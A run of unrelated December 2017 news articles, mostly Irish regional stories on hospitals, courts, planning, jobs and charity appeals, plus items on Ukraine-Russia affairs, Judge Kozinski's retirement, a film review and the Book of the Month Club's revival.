While the HSE claim the launch was postponed, the Portlaoise Hospital Action Committee Committee insists it was canceled on foot of pressure. John Hanniffy is the committee's secretary. In a statement, he said Laois TD and Minister Charlie Flanagan has confirmed that the launch was officially cancelled .

"This occurred following his meeting with Minister Simon Harris this morning. We would like to thank Minister Flanagan for his support and input on this occasion. Whilst we would be surprised if a minister for health didnt intervene, we do believe that Charlie Flanagan advocated strongly on our behalf. We are grateful for this.

"We would like to thank Minister Harris for intervening on such an important issue. We would have lost complete faith in our government if he had allowed this to happen.

"We are also very grateful for our other TDs Brian Stanley and Sean Fleming who have been extremely opposed to this launch going ahead and have been vocal about their concerns over the process to date. We should acknowledge that without Brian Stanley coming forward with the leaked reports, invitations etc., we would be very much in the dark. This knowledge empowered us and allowed us to act," he said.

Chairman, Thomas Timmons praised the public for putting pressure on

We would like to thank the people of Laois and surrounding areas who have stepped up yet again, showing that activism is an effective and democratic responsibility. They have been busy plaguing the Trinity Biomedical Sciences Institute with calls highlighting their role in hosting such an undemocratic event.

"Countless people contacted the DMHG also. People have been extremely active on social media spreading the word. We are proud of our people because they make the difference. They made the noise and on this occasion, they were heard loud and clear, he said.



Eimear Holland committee PRO said the calling off of the launch was important.

This was an important decision but there is much work to do. That we had to fight to prevent such an undemocratic event from taking place says a lot. Community work should not be about preventing the agencies who are supposed to work to protect us, from doing us harm.

"We are pleased that the right decision was made on this occasion. However, this entire facade is just another example of how this report and strategy has failed to follow democratic processes and shows contempt for both leadership and for the people," she said.

She said the Minister to reject the plan.

"We call on Minister Harris to do the right thing once more and to reject this entire process, the plan and the strategy. Hit re-sit and do this properly, she concluded.

A copy of the strategy leaked to Laois TD Brian Stanley in October stated: We will develop a 24/7 GP referred medical assessment unit and a 12/7 local injuries unit in the MRH Portlaoise in line with national clinical care programmes models of care.

The DMHG has declined to comment if this had been deleted from the draft strategy. It insisted the strategy is not linked to the reconfiguration plan which runs to over 160 pages. It proposes the removal of A&E, ICU, maternity, paediatrics and most surgery.

Before calling of the launch, the DMHG said the plan 'is not related to the proposed action plan for Portlaoise'. It accepted that this remains under consideration by the Minister for Health for any future policy decision.

The DMHG said the Groups strategy is independent of Government - as is the case with all hospitals/Groups.
Mountmellick Drama Group has helped out local victims of the recent flooding to the tune of 1500.

Last Friday December 15, chairman Shay Flannery presented their generous donation to Jason McInerney on behalf of Mountmellick Flood Community Support Group.

The flood on November 22 swept through the town, with about 100 homes and businesses flooded, including some of the drama club's own members.

"It was an awful scourge, but this is not just because of our members. Hopefully it will benefit in some way, we wanted to do our part for it. Normally we make several small donations from the proceeds of our annual play in March, which normally makes about 1,500. We made a unanimous decision at our meeting last Wednesday to donate that amount now instead, when it is needed most," Mr Flannery said.

This year their production of "Lovers" by Brian Friel will be staged in the Community Arts Centre, Mountmellick on March 8, 9 and 10 at 8pm Nightly.

Uniquely it will be staged both upstairs and downstairs in Mountmellick Community Arts Centre.

"As the play requires two separate sets we are availing of both the Balcony Theatre and the main auditorium for our presentation. This is a challenging first for us and it will a unique opportunity for our audience. We are very excited about the prospect," said Jessie Conroy from the group.

The annual Mountmellick Drama Festival will take place from Friday 9-16 March inclusive.

GALLERY: Mountmellick recovers from flood to hold Christmas light-up and fair

Mountmellick flood victim says insurers made her feel like a criminal
Trocaires Executive Director, Eamonn Meehan, has urged people in Kildare to support the Maynooth based charitys Christmas appeal.

The plea comes as over 26 million people continue to face malnutrition and the threat of famine across South Sudan, Somalia, Kenya and Ethiopia due to prolonged drought.

I have seen the difference support from Kildare has made on the ground. It is no exaggeration to say that they are having an immediate, practical impact on families throughout East Africa. Our health centres and feeding programmes are saving lives but we need to continue our response and we need the publics support to do that, he said.

Trocaire is currently reaching hundreds of thousands of people across the East Africa region with emergency food, water, sanitation and healthcare.

This includes in South Sudan, a country gripped by a brutal civil war where millions of people have fled and Trocaire has been supporting 24,000 people.

The charity has been providing emergency food, water and supplies in the war torn country throughout the food crisis and there has been a significant improvement. Trocaire staff reported that early in the year people were too weak to stand at feeding distributions but after a few months it was visible people had more energy and their severe weight loss had stopped.

As part of the Christmas appeal, former two-weight world champion boxer Carl Frampton recently travelled to Kenya, East Africa, to see first-hand the impactful work being carried out by Trocaire there.

Carl and his wife Christine visited a Trocaire feeding clinic for malnourished children receiving emergency food. He also met with young boxers at Mukuru slum in Nairobi, one of Africas largest slums where poverty, disease and violence is rife.

Carl said: "The suffering, the squalor and poverty that so many are enduring is heartbreaking, but then on the other side, there is the great work that is being done.

Its massively important to support the Trocaire Christmas appeal. The people of Ireland have shown time and again that they have an amazing affinity for, and solidarity with, people in the developing world who are facing crisis but seeing it first hand, I dont think you could prepare yourself for something like that.

"It was a short trip to raise awareness of Trocaires Christmas appeal, but for us the memories will stick with us for the rest of our lives."

For more on Trocaire or to donate to the Christmas appeal visit www.trocaire.org
A mother of three has been sentenced for six months in jail after she pleaded guilty to a charge of Dangerous Driving in a case that the judge described as insane.

Ana Hoban (36), with an address listed as Ballinaheglish, Roscommon was spotted driving by Gardai on November 10, on the M4 near Newtown driving at high speed in a 07 Volkswagen Passat.

It was after 10pm at night, was raining heavily and hard to see, Gardai said, with the spray. Garda Alwyn Howard caught up with the speeding car which was travelling at 170kph (105mph).

Gardai activated the blue light and she pulled over, although it took 30 seconds for the car to come to a halt, such was the speed. There was a person in the passenger seat, three in the rear seat and, when Gardai searched the car, there were two more men in the boot of the car under some blankets.

Representing her at Naas District Court earlier today, Tuesday, December 19, barrister Willie Hughes said his client was on her way to Dublin with her friends for a Brazilian music night, when a car containing more friends broke down around Kilbeggan. All seven then squeezed into her car.

Ms Hoban has eight previous convictions, including two for theft, assault, driving with a bald tire and two for burglary. She has, in the past, received a two month suspended sentence.

It was, he admitted, one of the most serious cases he had ever encountered. He said that his client had no intention of understating the seriousness of the charge and that she didnt try to play the system to postpone the case. She wanted to face it now. She was also, counsel explained, cooperative with Gardai on the night.

Ms Hoban lives 15 miles outside Roscommon town and both she and her husband are unemployed. They have three children, aged 13, 9 and 8. She wasnt aware that the speed had gone quite so high, he said.

I could send you to jail, Judge Desmond Zaidan said and you will be out in a few months for good behaviour. He contrasted that, however, to the plight of somebody killed as a result of her driving, whose family would be imprisoned forever.

Although he noted her cooperation with the investigation and her early plea, Judge Zaidan concluded that the aggravating features far outweighed the mitigating circumstances of the case. My goodness, if something had gone wrong at that speed! he said. All because she was going to a function.

He sentenced her to six months in prison, which, he said, was the maximum for an offence of this nature. He also disqualified her from driving for two years, which is the minimum sentence for an offence of this nature.
The building site at the extention to Newbridge's to St Conleth's Community School remains closed as efforts to resolve the issues that lead to its closure have thus far proved unsuccessful.

The Leinster Leader has learned that a number of meetings took place in the past week in an effort to resolve the issue. They involved the Department of Education and various contractors.

A spokesperson for the KWETB said that while there had been progress, the matter was not resolved yet.

The building contractor on the St Conleth's project is K&J Townmore Construction.

Work on the site halted on Friday, December 8, in an ongoing dispute over contractor certification of work.

At the time, Kildare and Wicklow Education and Training Board (KWETB) said it could not take possession of the building until all matters concerning certification are resolved to its satisfaction "thus ensuring that the best standards of safety and certfication are met."

It said that the "design team, appointed by and on behalf of KWETB" had suspended work "pending the production of manditory regulation certification from the contractor for elements of the project for which they are responsible from both a design and construction point of view."

"Mandatory certification is required from the contractor to demonstrate that the relevant building regulations standards have been fully and adequately complied with."

The new building was originally designed to cater for 250 students, but currently has 477. The project was recently at the centre of a High Court action where a contractor, Drumderry was ordered to hand over certifcation against their wishes.
AN BORD Pleanala is to decide if a County Limerick farmer can build an entrance to his land after Limerick City and County Council turned him down.

Rural dwellers have oft complained about the difficulties in getting planning for a one-off house but now it seems even erecting a gate is up for debate.

Eddie Hennessy put in his application for a new gate at Cloghnadromin, Ballysimon back in July. With it he included a drawing of his plans.

It asks to, Remove existing concrete post fencing and planting and fit standard farm gate and piers. Below that, it states it is the proposed new entrance to farmland for Edward Hennessy at Cloghnadromin, Ballysimon.

Limerick City and County Council refused the application in September.

The reasons given were that the proposed development would be contrary to the proper planning and development of the area because it constitutes a new access on a heavily trafficked section of the national road network - the N24 Limerick to Tipperary national primary road at a point where the maximum speed limit for this type of road applies and the traffic turning movements generated by the proposed development would interfere with the safety and free flow of traffic on the adjoining road.

In addition, the proposed development would contravene materially the objectives of the planning authority, as set out in the County Development Plan 2010 - 2016 to preserve the level of services and carrying capacity of the national road network and to protect the public investment therein, it concludes.

In a submission, Transport Infrastructure Ireland also considered it at variance with official policy in relation to control of development on/affecting national roads as the proposed development by itself, or by the precedent which a grant of permission for it would set, would adversely affect the operation and safety of the national road network.

They went on to say the proposal, if approved, would create an adverse impact on the national road where the maximum permitted speed limit applies and would, in the authoritys opinion, be at variance with the foregoing national policy in relation to control of frontage development on national roads.

Secondly the TII stated: The proposed development, located on a national road where the maximum speed limit applies, would endanger public safety by reason of traffic hazard an obstruction of road users due to the movement of the extra traffic generated.

Mr Hennessy has appealed the councils decision to An Bord Pleanala. Whether he gets the go ahead for his gate entrance or not is due to be decided by February 13, 2018.
LIMERICK Institute of Technology has launched Irelands first ever specialist degree in manufacturing, to mark the global industrys move to the digital era.

The announcement was made during a visit by Minister for Higher Education, Mary Mitchell-OConnor, who inspected LITs new Coonagh Cross campus.

LIT president, Prof Vincent Cunnane said that the new Manufacturing 4.0 degree will be taught at the 36-acre site, and will give rise to a new manufacturing ICT engineer profession.

Prof Cunnane told Minister Mitchell-OConnor that it is an area in which it is critical for Ireland to gain a competitive advantage.

The first BEng, Manufacturing ICT apprentices are expected to join the programme in the next academic year. The delivery model means that industry in the region can upskill very quickly, he said.

He added that the new Coonagh Cross site will allow a very speedy response to the demands of industry, which is critical as the cyber world joins with the manufacturing industry.

Minister Mitchell OConnor said that it is great to see such wonderful regeneration of a disused space.

This new development will undoubtedly enhance the student experience for all the engineering students in Limerick Institute of Technology, it will facilitate the skills agenda and with the dedication and drive of President Cunnane and everyone involved strengthen the interface between Limerick Institute of Technology and industry in the region.
US biomedical company Beckman Coulter is to expand its development and manufacturing facility in Clare, creating 70 new jobs.

Planning permission has been granted for the facilities by Clare County Council at the companys strategic 9,700 sq. metre site at Lismeehan in County Clare, with the expansion to create 70 jobs over the next two to three years, it said.

The IDA Ireland supported project will provide capacity for two new product streams at the Clare site, already home to the global Beckman Coulter Diagnostics business, with 330 people working there.

The new expansion will add an additional 6,700 sq. meters to the facility, which is located in Tulla, near O'Callaghan's Mills.

Minister of State for Employment and Small Business Pat Breen TD said: Beckman Coulters expansion is a great win for County Clare, the Irish Government and the IDA. As Minister for Employment I warmly welcome the creation of 70 additional jobs over the next two to three years.

"This is a great boost for Clare and the Mid-West Region. This expansion now places Beckman Coulter to the forefront of the biomedical testing industry and the investment made by the company also allows for ongoing growth of current product streams.

Beckman Coulter, which develops, manufactures and markets products that simplify, automate and innovate complex biomedical testing, uses the site for development, manufacture and support of reagents (mixtures for use in chemical analysis) for clinical chemistry, immunochemistry and haematology product lines.

Piers Devereux, VP of Operations for Beckman Coulter, said: We are excited to build out our site here in County Clare. The caliber of the local workforce and the excellent support we receive from the community really sets this site apart.

"Our Ireland presence is essential for Beckman Coulter to achieve our vision of advancing healthcare for every person."

IDA CEO Martin Shanahan hailed the expansion as "very welcome news".

"Regional investment is a top priority for IDA Ireland. Supporting established companies to grow and add jobs is a key focus for us and this expansion, adding significant additional capacity to the Lismeehan site, will be of great benefit to County Clare the Mid-West Region.

"It will also act as a strong reference seller for this regional location. It demonstrates substantial commitment by Beckman Coulter to the County Clare site. I wish the company every success with this new phase of development."

Recruitment for the new positions will commence immediately and roles include scientist, engineering quality, manufacturing and other support functions.
THE UL Hospitals Group has urged the public to keep the emergency department for patients who need them most, amid major overcrowding at University Hospital Limerick.

It has, however, urged people who are worried your life is at risk to attend the new 25m ED.

According to figures published by Irish Nurses and Midwives Organisation this week, there were 54 patients and 49 patients being treated on trolleys on Monday and Tuesday.

A spokesperson for the group said that the ED at UHL has been very busy over the last few days.

We have admitted a lot of seriously ill patients recently, many of whom remain in the ED awaiting a bed. We are asking people to think about all their care and treatment options and keep ED services for the patients who need them most.

The spokesperson said that patients with limb injuries can avail of services at the local injury units in Ennis, Nenagh or St Johns Hospital.

St Johns Hospital is open 8am to 6pm, Monday to Friday.

Others with a less serious illness can be treated by their GP or out of hours GP service where their GP can refer them to a Medical Assessment Unit (MAU) the following day if required. The MAU in Ennis is open from 8am to 6pm, Mon to Fri and from 10am to 6pm on Sat and Sun. In addition there are MAUs in Nenagh and St. John's, operating 5 days a week, 8am to 6pm.

The spokesperson added: However, if you are seriously injured or ill or are worried your life is at risk the ED will assess and treat you as a priority.
Ukrainian President Petro Poroshenko's Press Secretary Sviatoslav Tseholko on Tuesday released on his Facebook page a photocopy of the letter written by former Georgian President and Movement of New Forces Party leader Mikheil Saakashvili.

In the latter Saakashvili calls for a meeting to discuss how to deescalate the situation, as well as denies allegations that he is working for Russia's Federal Security Service (FSB).

"Despite recent events, I do not have aggressive intentions. You know me well, and understand perfectly well that accusing me of working for the FSB is not only absurd, but will also make Ukraine's enemy happy. Of course I have made and make many political mistakes, but I am sure now as never before that it is necessary to deescalate the situation and avoid destabilization of the situation. I am ready to meet at any time with an authorized representative to discuss," the letter says.

According to Tseholko, the letter is being made public because Saakashvili has misrepresented its contents and because many journalists have asked about it.

Poroshenko's press secretary also notes that calls by Saakashvili to deescalate the situation fly in the face of Saakashvili's actions on Sunday.

"The storming of International Center of Culture and Arts on Heavenly Hundred Way demonstrates that Saakashvili did not keep his word," Tseholko said.

Saakashvili earlier confirmed the existence of the missive to Poroshenko

"After people released me from the pretrial holding facility Poroshenko's reputation was severely damaged. After the court, despite sabotage from Ukraine's SBU Security Service, released me, Poroshenko suffered one more defeat. Then I acted as people do when they are sure they are in the right  I wrote him a letter, in which I said: "You accused me incorrectly. You of course know that to call me a Russian agent is an insult. But this is not our personal conflict. I harbor no personal anger towards you and propose that we meet to discuss the situation," Saakashvili told the ZIK TV channel on Sunday, December 17, 2017.
PEOPLE reluctant to give information in connection with the horrific murder of elderly widow Rose Hanrahan in Limerick have been urged to contact the garda confidential line.

In a fresh appeal this week, Gda Ber Leetch said that they are asking for anybody who was in the New Road and Thomondgate area, between last Thursday at 8pm and Friday afternoon, to contact Mayorstone garda station.

Gardai launched a murder investigation, after the family of 78-year-old Rose Hanrahan found her unresponsive in her New Road bungalow on Friday afternoon.

It is likely that gardai will not require an extension of the crime scene this afternoon, after receiving a 48-hour extension this Monday.

The crime prevention officer urged people to think back and try and remember if they saw anything unusual or out of the ordinary or anybody who acted suspiciously.

She said: If anybody drove through the area and if they have a dash cam Gardai would need to be contacted.

Anybody walking their dog or travelling to bingo or to visit friends or family. Any fishermen out and about during those times could ye all just cast your minds back to those times and if they remember anything to please contact the gardai.

You may know something that on its own may not seem important but if the gardai are informed it may be another piece of a puzzle that has to be completed in order to further this investigation.

Gda Leetch added: I understand that there may be a reluctance in some people to come forward so as well as contacting Mayorstone Gardai on 061 456980 and the confidential number of 1800-666111.

Superintendent Derek Smart said that the community has been left devastated at the murder of Ms Hanrahan, and is appealing people to come forward.

We are still looking for the community to come forward with any information they have. People have been very open and honest and frank with us, and we want them to continue doing that for us.
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The Council of the European Union is expected to decide on the extension of economic sanctions against Russia on Thursday, December 21, a source in the Council's Estonian presidency told Interfax.

This will happen according to the written procedure in the early afternoon, the source said.

It was reported that the EU heads of state and government approved another extension of the sanctions at their summit in Brussels on December 14.
Russia's withdrawal from the Joint Center for Control and Coordination (JCCC) undermines the work of the Organization for Security and Co-operation's Special Monitoring Mission to Ukraine (OSCE SMM) and is intended to force Kyiv into dialogue with militants, Ukraine's Minister for Temporarily Occupied Territories and Internally Displaced Persons, Vadym Chernysh, said.

"We have long observed Russia saying that the JCCC format is inconvenient for it, for which it cited various reasons: its military officers were being either mistreated or restricted. We have been seeing this since the summer [of 2017]," Chernysh told Interfax-Ukraine on Tuesday.

Claims about Russian JCCC officers being restricted and mistreated were a preparation for the blocking of this body's work, he said.

"If you look at all of these activities together, it clearly shows that Russia wants to do everything possible even on this level to not even appear to be a party to the conflict and make us go down the path of dialogue with incomprehensible people who were installed by Russia itself in these breakaway areas of the Donetsk and Luhansk regions," Chernysh said.

The JCCC is not part of the Minsk Agreements, he said. Now Russia can say that because it has no representatives or observers in Donbas, the international community must work out an agreement to secure Russia's presence in the conflict zone in the form of observers or peacekeepers, with that agreement also stating that Russia is not a party to the conflict, the minister said.

"The presence of Russian officers in the JCCC guaranteed, among other things, the safety of the OSCE mission's staff," Chernysh said.

The mission's fulfillment of its monitoring mandate relied on safety assurances provided by the JCCC, he said.

In addition, the minister believes that the withdrawal from the JCCC and the concentration of Russian troops on the borders may also indicate the threat of the use of military force.

It was reported that the Russian JCCC officers quit on December 19 and are planning to leave Ukraine.
UN general assembly supports Ukraine's resolution calls on Russia to stop violating human rights in Crimea

The UN General Assembly on Tuesday has supported the resolution "Situation of human rights in the Autonomous Republic of Crimea and the city of Sevastopol, Ukraine" (A/C.3/72/L.42) proposed by the Ukrainian delegation.

According to the vote results, 71 countries supported the Ukrainian resolution, 25 voted against, 77 country delegates abstained.
On Thursday, December 21, at 11.30, the press center of the Interfax-Ukraine news agency will host a press conference "Sociopolitical Confidence of Ukrainians: Results of 2017:" ratings of parties, president's rating, protest mood, attitude to the introduction of visa regime with Russia, support of the status of Russian language as state language, Ukraine's joining EU and NATO referendum and support of options for solving problems in Donbas. The participants will include Head of the Rating sociological group Oleksiy Antypovych and Deputy Director of the Rating sociological group Liubomyr Mysiv ((8/5A (8/5a Reitarska Street). Accreditation of journalists is required by phone: +380 (44) 254 36 93, +380 (44) 254 36 94, www.ratinggroup.ua.
Kyiv, December 19, 2017. Ukraine House, a multi-format venue, is set to open in Davos, Switzerland during the 48th Annual Meeting of the World Economic Forum (WEF). Under the theme Ukraine: Creativity, Innovation, Opportunity, this multi-format space will showcase investment opportunities in Ukraines IT and Innovation sector to global business, technology and investment leaders. Ukraine House is a unique opportunity to highlight the vibrant, energetic European country and society that is Ukraine.

Ukraine House will operate January 22-26, 2018 and is organized by the Ukrainian Venture Capital and Private Equity Association (UVCA) in partnership with Western NIS Enterprise Fund (WNISEF) and Victor Pinchuk Foundation.

Ukraine House will take place alongside multiple sideline events of WEFs Annual Meeting. It will attract business and society leaders to a series of panel discussions and social events. Ukraine House will discuss global economic trends including in the tech industry where Ukraine will be seamlessly intertwined in the global context. It will also host meet ups between startups and venture capitalists from across the globe.

Ukraine Houses Gold Sponsor is Ciklum and Silver Sponsor is IT Ukraine Association.

Panels are sponsored by Horizon Capital, Bitcoin Foundation Ukraine, AgroHub, UNIT.City, Hacken and SocialBoost.

Ukraine House Organizing Committee (UHOC) is led by Alexa Chopivsky, Director of UHOC, Andriy Kolodyuk (UVCA), Olga Afanasyeva (UVCA), Jaroslawa Johnson (WNISEF), Svitlana Grytsenko (Victor Pinchuk Foundation), Lenna Koszarny (Horizon Capital), Marina Vyshegorodskikh (IT Ukraine Association). It is organized in cooperation with UkraineInvest and Office of the National Investment Council of Ukraine.

"Following our successful Ukrainian Davos Nights events in 2017 that attracted more than 400 participants, we are delighted to launch Ukraine House in 2018. It will be a platform for networking, investment deals and technology partnerships. In organizing Ukraine House, UVCA jointly with partners will position Ukraine as a new tech and investment global partner" - said Andriy Kolodyuk, Chairman of the Supervisory Board of UVCA and WEFs Young Global Leader.

For 14 years with my Foundation and company we have been investing in promoting Ukraine through different Ukrainian events at the WEF Annual Meeting in Davos. I am very pleased that now we together with other Ukrainians are contributing strongly to presenting the country among the top international leaders. It is great to see that Ukraine's society is developing at an impressive pace. Showing the best of our country at Ukraine House and engaging in a dialogue with the international community is an important step forward  said Victor Pinchuk, Founder of Victor Pinchuk Foundation and EastOne.

"The tradition of having houses in Davos during WEF is not novel. These have been organized by governments, large corporations and major organizations for years. Now for the first time in the 50 years of WEFs history, Ukraine will step up, present its full potential, and firmly secure its image as a leading technology and innovation hub in Europe. WNISEF is pleased to endorse this worthy project" - said Jaroslawa Johnson, President and CEO of Western NIS Enterprise Fund.

According to Michael Boustridge, CEO of Ciklum: Ukrainian IT engineers possess unparalleled intellectual curiosity, differentiating them from their peers globally. Ciklum has been harnessing Ukrainian talent for creating best tech solutions for hundreds of international companies since 2002 and today is acting as a solid digital transformation partner.

The agenda of Ukraine House in Davos is being finalized and will be available shortly at: www.ukrainehousedavos.uvca.eu

For media contacts: Oleksandr Guzenko. E-mail: o.guzenko@uvca.eu
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Amid an onslaught of sexual misconduct allegations from at least 15 women, Judge Alex Kozinski of the Ninth U.S. Circuit Court of Appeals in San Francisco abruptly announced his retirement Monday, effective immediately.

Kozinski, 67, appointed to the federal bench in 1985 by President Ronald Reagan, released a statement partly blaming his predicament on his broad sense of humor and a candid way of speaking to both male and female law clerks alike.

In doing so, I may not have been mindful enough of the special challenges and pressures that women face in the workplace, Kozinski said in the statement. It grieves me to learn that I caused any of my clerks to feel uncomfortable; that was never my intent.

Family and friends, he said, asked him to stay on the court at least long enough to defend myself. But Kozinski said he could not be an effective judge and simultaneously fight this battle.

Now Playing: A powerful appeals court judge is facing allegations of sexual misconduct by six clerks or more staffers. For more on the story here is Zachary Devita. Video: Veuer

He added, Nor would such a battle be good for my beloved federal judiciary. And so Im making the decision to retire, effective immediately.

The announcement comes after 15 women accused Kozinski, whose chambers are in Pasadena, of subjecting them to sexual comments and other inappropriate behavior. A story reported by the Washington Post detailed former clerks who said Kozinski had them watch pornography in his chambers.

Its unprecedented for members of the federal judiciary to step down, but these allegations are also unprecedented and the current climate is unprecedented, said Jessica Levinson, a professor of law at Loyola Law School. When people think about powerful Ninth Circuit judges, hes one of them.

The report also included allegations from a former U.S. Court of Federal Claims judge that Kozinski grabbed and squeezed her breasts after the two drove back from an event in Baltimore in the mid-1980s.

Kozinski was known as a feeder judge because his highly coveted clerkships often lead to the Supreme Court or other prestigious jobs throughout the country, Levinson said.

His retirement comes just days after Ninth Circuit Chief Judge Sidney Thomas ordered an inquiry into the allegations of judicial misconduct. The investigation was assigned to the Second Circuit Judicial Council, which hasnt yet made an announcement as to whether the investigation would continue.

Kozinskis decision to step down paves the way for President Trump to appoint a replacement on the same appellate court that struck down his first travel ban on people from seven predominantly Muslim countries. So far, Trump has appointed 12 judges to the U.S. Courts of Appeals.

The Trump administration has been very shrewd on moving very fast and getting as many nominations down the pipeline, said David Levine, a law professor at UC Hastings College of Law. This is informally a California seat. ... Normally, those senators would have some say on who the president selects. Itll be interesting to see who he comes up with.

Kozinski was one of the judges who presided over a case heard in San Francisco last week that was brought against the Trump administration by 21 young people who say their rights are at risk from the governments inaction on climate change.

A lawyer for the Trump administration asked the court to overturn a November 2016 decision by an Oregon judge who refused to dismiss the case. During the hearing, Kozinski said that even a case that is ultimately found to be meritless should not yet be dismissed, allowing the case to proceed.

He can be really withering with the lawyers, Levine said. You can ask hard questions in a diplomatic way and thats not his way. If he didnt like the position or like the answer, he would let (attorneys) know. You knew you were up for a battle.

Kozinski was one of five conservative judges who came out with an opinion in March during the legal battle over Trumps first travel ban, saying the presidents tweets and campaign statements were irrelevant to the lawfulness of the travel ban, Levine added.

It didnt have any legal effect, Levine said. It was saying, Hey, hey, pay attention, this is how you can defend the president if you want to defend the president in the travel ban case.

Often described as an iconoclast with libertarian-leaning views, Kozinski has a cogent and clear writing style and would often interlace humor in his opinions, said Benjamin Shatz, a partner at the law firm of Manatt, Phelps & Phillips.

When Mattel Inc. filed a 1997 lawsuit charging that MCA Records Inc. turned Barbie into a sex object by releasing the Barbie Song recorded by the pop-dance group Aqua, Kozinski famously concluded the case by writing, The parties are advised to chill.

He has an unusual sense of humor, Shatz said. That was reflected in just about everything he did.

In 2003, Kozinskis dissent in United States vs. Ramirez-Lopez prompted the overturning of a conviction of a Mexican man for smuggling undocumented immigrants across the border and leading to his release from prison. Kozinski pointed out that federal agents deported to Mexico nine undocumented immigrants who crossed the border with Juan Ramirez-Lopez  before they could testify and exonerate Ramirez-Lopez.

The question at the heart of this case is both simple and important: May the United States get rid of witnesses it knows would provide evidence helpful to the defendant in a criminal case by putting those witnesses beyond the power of the court and beyond the reach of defense counsel? Kozinski wrote.

Levine said Kozinski writes similarly to Antonin Scalia and Neil Gorsuch, two conservative associate U.S. Supreme Court justices.

If they see something in the Constitution in terms of procedural rights of defendants, they will defend them, Levine said.

In 2008, Kozinski faced a misconduct inquiry when the Los Angeles Times reported he had an email list used to distribute crude jokes, as well as a publicly accessible website that contained pornography.

The website  http://alexkozinski.com  was disabled, but according to the Times, it included images of bestiality, masturbation, a slide-show striptease and two naked women on all fours painted as cows.

Kozinski said the site was maintained by one of his sons and was used by family members to store various photos and documents. He said he didnt know the website could be accessed publicly.

I dont pay much attention to whats on there, Kozinski told The Chronicle at the time. Theres lots of stuff I see (on the site) and I dont remember. I havent gone through and looked at it. Some of it, I should have. ... I had no intention of making these files public.

Born in Bucharest, Romania, in 1950, Kozinski and his parents, both Holocaust survivors, immigrated to Los Angeles in 1962.

Kozinski was the chief judge of the Ninth Circuit from 2007 to 2014.

Before naming him to the appeals court, Reagan appointed Kozinski to the U.S. Claims Court, where he served as chief judge from 1982 to 1985.

From 1980 to 1981, he served as deputy legal counsel to then President-elect Reagan and later worked in the Office of Counsel to the President.

Sarah Ravani is a San Francisco Chronicle staff writer. Email: sravani@sfchronicle.com Twitter: @SarRavani
The 1973 kidnapping of John Paul Getty III, the 16-year-old grandson of billionaire oil tycoon J. Paul Getty, is told with solid style and suspense in Ridley Scott's "All the Money in the World."

But style and suspense are only part of the story, in a screenplay by David Scarpa that also mines a rich vein of substance - in the form of philosophical musings about the power and nature of money, both to corrupt and to sustain - out of the bedrock of this otherwise borderline B-movie. Based on portions of John Pearson's 1995 book, "Painfully Rich: The Outrageous Fortune and Misfortunes of the Heirs of J. Paul Getty," the film is larded with such epigrammatic quips as "There's nothing people can't find a way to turn into money."

That's Fletcher Chace (Mark Wahlberg) speaking to the kidnapped boy's distraught mother Gail (Michelle Williams), in one of many cash-themed conversations that Scarpa finds time to shoehorn in, amid the de rigueur panicking, strategizing and negotiating. After the elder Getty (Christopher Plummer) refuses to meet the Italian kidnappers' initial demand for $17 million for the return of his grandson, nicely portrayed by Charlie Plummer (no relation), the ransom eventually drops to $4 million. An ex-CIA operative, the cocky Fletcher is J. Paul Getty's chief liaison with the kidnappers, police and Gail, who was left nearly penniless after divorcing the teen's father, J. Paul Getty II (Andrew Buchan), depicted in the film as a feckless lush.

Mr. Getty - or the "old man," as the billionaire is less formally known - is, for his part, depicted as a soulless miser who puts Scrooge to shame. (Coincidentally, Plummer also plays Ebenezer Scrooge in "The Man Who Invented Christmas.") That caricature is probably not terribly far from the truth, even if the film's fictionalized version of events sometimes seems to rely too heavily on poetic license to drive home its point: the love of money is the root of all evil.

Plummer's performance, a last-minute substitution for Kevin Spacey, who was edited out of the film after allegations of sexual impropriety were made against the actor, is a perfect fit for the film's Croesus villain, both in age and steely, penny-pinching heartlessness. Plummer, who has just turned 88, is much closer to Getty's age (80) at the time of the kidnapping; Spacey is 58, and appeared in heavy old-age makeup in early trailers.

The plot covers the five months during which the teenage Paul was held captive. One of the goons, nicknamed Cinquanta (Italian for "fifty") and played by charismatic French actor Romain Duris, even develops a tender rapport with his hostage. Cinquanta's almost paternal affection comes in handy, in a grisly scene depicting the most lurid aspect of the kidnapping - involving a severed body part - and, later, in the film's climactic, and heavily fictionalized, rescue sequence.

Michelle Williams is excellent as always, even if Scarpa's script doesn't give her much room to emote. Instead, Gail, who, as we're constantly reminded, is not even a Getty by blood, shows herself to be a negotiator worthy of her father-in-law. In a flashback to her divorce negotiations, and in a bargaining session with an Italian newspaper that wants to pay her for a gruesome photo of Paul that the kidnappers have sent, the actress renders the worried mother as one tough Mama Bear.

Everything and everyone has a price, the film suggests, in ways that are far from subtle, but effective. Cops, doctors, journalists can be bought, and investors can be found to bet on any undertaking, no matter how unsavory. In one of the film's most pointed scenes, Mr. Getty is negotiating with someone we are led to believe may be the kidnappers' representative. It turns out to be an art dealer, however, offering, for $1.5 million, a religious painting. "My child," Getty coos to the painted baby Jesus, in a voice that tells you just how creepy his attitude about money is: Commodities are just like people; both can be bought and sold.

Still, as he comments at one point, human beings are less predictable than things - including movies. "All the Money in the World" may not have that many surprises up its sleeve, especially if you already know how this story ends. You will, however, get your money's worth, one way or another: whether it's from the crime thriller or the thought-provoking sermon on filthy lucre that it throws in, at no extra charge.

---

Three stars. Rated R. Contains strong language, some violence, disturbing images and brief drug use. 132 minutes.

Ratings Guide: Four stars masterpiece, three stars very good, two stars OK, one star poor, no stars waste of time.
Talkies! Radios! Credit cards!

The 1920s roared with jazzy ideas, though perhaps none as novel as the Book of the Month Club, which debuted in 1926. It was the brainchild of Harry Scherman, an ad man who had found success earlier by selling Shakespeare plays with Whitman's chocolates.

A growing middle class with limited access to bookstores and even less idea of what to read rushed to sign up for Scherman's new club. Among the selections that first year was a debut novel by a young man named Ernest Hemingway. Coincidentally, "The Sun Also Rises" is also a fitting epithet for the Book of the Month Club, which rose to become a major force in American publishing with millions of members and all manner of attendant clubs for cookbooks, history books, records and even art reproductions.

Alas, Ecclesiastes got it right: "The sun also ariseth, and the sun goeth down." After getting manhandled by various corporate owners and withering under the shadow of Amazon, the lights flickered out at Book of the Month in 2015.

That should be the end of the story. But a funny thing happened on the way to obsolescence. A man named John Lippman, 43, with a background in music and private equity, bought a controlling interest in the company that owned Book of the Month. He had a plan to make the old club jazzy once again.

A streamlined BOTM launched in late 2015. Now, each month, members choose one of five hardcover books for $14.99. Period. No paper catalogs to page through, no order cards to return, no shipping charges to pay.

